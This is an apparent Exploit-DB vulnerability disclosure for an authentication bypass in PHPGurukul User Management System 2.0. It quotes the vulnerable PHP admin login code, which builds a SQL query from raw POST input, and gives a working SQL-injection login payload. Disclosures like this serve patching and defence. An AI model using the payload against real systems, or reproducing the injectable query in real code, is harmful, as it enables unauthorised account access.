header-logo
Suggest Exploit
vendor:
User Management System
by:
Besim ALTINOK
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: User Management System
Affected Version From: v2.0
Affected Version To: v2.0
Patch Exists: NO
Related CWE: N/A
CPE: 2.3:a:phpgurukul:user_management_system:2.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Xampp
2020

User Management System 2.0 – Authentication Bypass

The User Management System 2.0 is vulnerable to authentication bypass due to an SQL injection vulnerability. An attacker can bypass authentication by providing the username and password as 'pentester' or'1'=1#'

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.
Source

Exploit-DB raw data:

# Exploit Title: User Management System 2.0 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: v2.0
# Tested on: Xampp
# Credit: İsmail BOZKURT


------ Details:

1- Vulnerable code is here (admin login: /admin/index.php):

<?php
session_start();
include("dbconnection.php");
if(isset($_POST['login']))
{
  $adminusername=$_POST['username'];
  $pass=md5($_POST['password']);
  $ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$adminusername' and password='$pass'");
  $num=mysqli_fetch_array($ret);
if($num>0)
{
   $extra="manage-users.php";
   $_SESSION['login']=$_POST['username'];
   $_SESSION['id']=$num['id'];
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
    $_SESSION['action1']="*Invalid username or password";
   $extra="index.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}

2-  We can bypass authentication with SQLi:

Bypass code (user and admin login panel):

Username: pentester' or'1'=1#
Password : pentester' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...